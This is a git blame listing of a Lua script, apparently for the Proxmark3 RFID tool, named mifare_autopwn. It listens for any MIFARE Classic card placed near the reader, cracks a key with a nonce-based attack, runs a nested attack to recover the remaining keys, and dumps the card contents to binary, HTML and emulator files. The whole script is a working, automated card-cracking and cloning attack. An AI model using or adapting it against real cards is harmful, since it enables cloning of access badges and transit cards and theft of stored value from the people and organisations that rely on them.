]>
Commit | Line | Data |
---|---|---|
1 | local getopt = require('getopt') | |
2 | local reader = require('read14a') | |
3 | local cmds = require('commands') | |
4 | ||
5 | example = "script run mifare_autopwn" | |
6 | author = "Martin Holst Swende" | |
7 | ||
8 | ||
9 | desc = | |
10 | [[ | |
11 | This is a which automates cracking and dumping mifare classic cards. It sets itself into | |
12 | 'listening'-mode, after which it cracks and dumps any mifare classic card that you | |
13 | place by the device. | |
14 | ||
15 | Arguments: | |
16 | -d debug logging on | |
17 | -h this help | |
18 | ||
19 | Output files from this operation: | |
20 | <uid>.eml - emulator file | |
21 | <uid>.html - html file containing card data | |
22 | dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes. | |
23 | dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it. | |
24 | ||
25 | ]] | |
26 | ||
27 | ------------------------------- | |
28 | -- Some utilities | |
29 | ------------------------------- | |
30 | local DEBUG = false | |
31 | --- | |
32 | -- A debug printout-function | |
33 | function dbg(args) | |
34 | if DEBUG then | |
35 | print(":: ", args) | |
36 | end | |
37 | end | |
38 | --- | |
39 | -- This is only meant to be used when errors occur | |
40 | function oops(err) | |
41 | print("ERROR: ",err) | |
42 | return nil,err | |
43 | end | |
44 | ||
45 | --- | |
46 | -- Usage help | |
47 | function help() | |
48 | print(desc) | |
49 | print("Example usage") | |
50 | print(example) | |
51 | end | |
52 | ||
53 | --- | |
54 | -- Waits for a mifare card to be placed within the vicinity of the reader. | |
55 | -- @return if successfull: an table containing card info | |
56 | -- @return if unsuccessfull : nil, error | |
57 | function wait_for_mifare() | |
58 | while not core.ukbhit() do | |
59 | res, err = reader.read1443a() | |
60 | if res then return res end | |
61 | -- err means that there was no response from card | |
62 | end | |
63 | return nil, "Aborted by user" | |
64 | end | |
65 | ||
66 | function mfcrack() | |
67 | core.clearCommandBuffer() | |
68 | -- Build the mifare-command | |
69 | local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1} | |
70 | ||
71 | local retry = true | |
72 | while retry do | |
73 | core.SendCommand(cmd:getBytes()) | |
74 | local key, errormessage = mfcrack_inner() | |
75 | -- Success? | |
76 | if key then return key end | |
77 | -- Failure? | |
78 | if errormessage then return nil, errormessage end | |
79 | -- Try again..set arg1 to 0 this time. | |
80 | ||
81 | cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0} | |
82 | end | |
83 | return nil, "Aborted by user" | |
84 | end | |
85 | ||
86 | ||
87 | function mfcrack_inner() | |
88 | while not core.ukbhit() do | |
89 | local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000) | |
90 | if result then | |
91 | -- Unpacking the three arg-parameters | |
92 | local count,cmd,isOK = bin.unpack('LL',result) | |
93 | ||
94 | if isOK ~= 1 then return nil, "Error occurred" end | |
95 | ||
96 | ||
97 | -- The data-part is left | |
98 | -- Starts 32 bytes in, at byte 33 | |
99 | local data = result:sub(33) | |
100 | ||
101 | -- A little helper | |
102 | local get = function(num) | |
103 | local x = data:sub(1,num) | |
104 | data = data:sub(num+1) | |
105 | return x | |
106 | end | |
107 | ||
108 | local uid,nt,pl = get(4),get(4),get(8) | |
109 | local ks,nr = get(8),get(4) | |
110 | ||
111 | local status, key = core.nonce2key(uid,nt, nr, pl,ks) | |
112 | if not status then return status,key end | |
113 | ||
114 | if status > 0 then | |
115 | print("Key not found (lfsr_common_prefix problem)") | |
116 | -- try again | |
117 | return nil,nil | |
118 | else | |
119 | return key | |
120 | end | |
121 | end | |
122 | end | |
123 | return nil, "Aborted by user" | |
124 | end | |
125 | ||
126 | function nested(key,sak) | |
127 | local typ = 1 | |
128 | if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k | |
129 | typ = 4 | |
130 | elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k | |
131 | typ= 1 | |
132 | elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k | |
133 | typ = 0 | |
134 | elseif 0x10 == sak then-- "NXP MIFARE Plus 2k" | |
135 | typ = 2 | |
136 | else | |
137 | print("I don't know how many sectors there are on this type of card, defaulting to 16") | |
138 | end | |
139 | local cmd = string.format("hf mf nested %d 0 A %s d",typ,key) | |
140 | core.console(cmd) | |
141 | end | |
142 | ||
143 | function dump(uid) | |
144 | core.console("hf mf dump") | |
145 | -- Save the global args, those are *our* arguments | |
146 | local myargs = args | |
147 | -- Set the arguments for htmldump script | |
148 | args =("-o %s.html"):format(uid) | |
149 | -- call it | |
150 | require('../scripts/htmldump') | |
151 | ||
152 | args ="" | |
153 | -- dump to emulator | |
154 | require('../scripts/dumptoemul') | |
155 | -- Set back args. Not that it's used, just for the karma... | |
156 | args = myargs | |
157 | end | |
158 | ||
159 | --- | |
160 | -- The main entry point | |
161 | function main(args) | |
162 | ||
163 | ||
164 | local verbose, exit,res,uid,err,_,sak | |
165 | local seen_uids = {} | |
166 | ||
167 | -- Read the parameters | |
168 | for o, a in getopt.getopt(args, 'hd') do | |
169 | if o == "h" then help() return end | |
170 | if o == "d" then DEBUG = true end | |
171 | end | |
172 | ||
173 | while not exit do | |
174 | res, err = wait_for_mifare() | |
175 | if err then return oops(err) end | |
176 | -- Seen already? | |
177 | uid = res.uid | |
178 | sak = res.sak | |
179 | if not seen_uids[uid] then | |
180 | -- Store it | |
181 | seen_uids[uid] = uid | |
182 | print("Card found, commencing crack", uid) | |
183 | -- Crack it | |
184 | local key, cnt | |
185 | res,err = mfcrack() | |
186 | if not res then return oops(err) end | |
187 | -- The key is actually 8 bytes, so a | |
188 | -- 6-byte key is sent as 00XXXXXX | |
189 | -- This means we unpack it as first | |
190 | -- two bytes, then six bytes actual key data | |
191 | -- We can discard first and second return values | |
192 | _,_,key = bin.unpack("H2H6",res) | |
193 | print("Key ", key) | |
194 | ||
195 | -- Use nested attack | |
196 | nested(key,sak) | |
197 | -- Dump info | |
198 | dump(uid) | |
199 | end | |
200 | end | |
201 | end | |
202 | ||
203 | -- Call the main | |
204 | main(args) |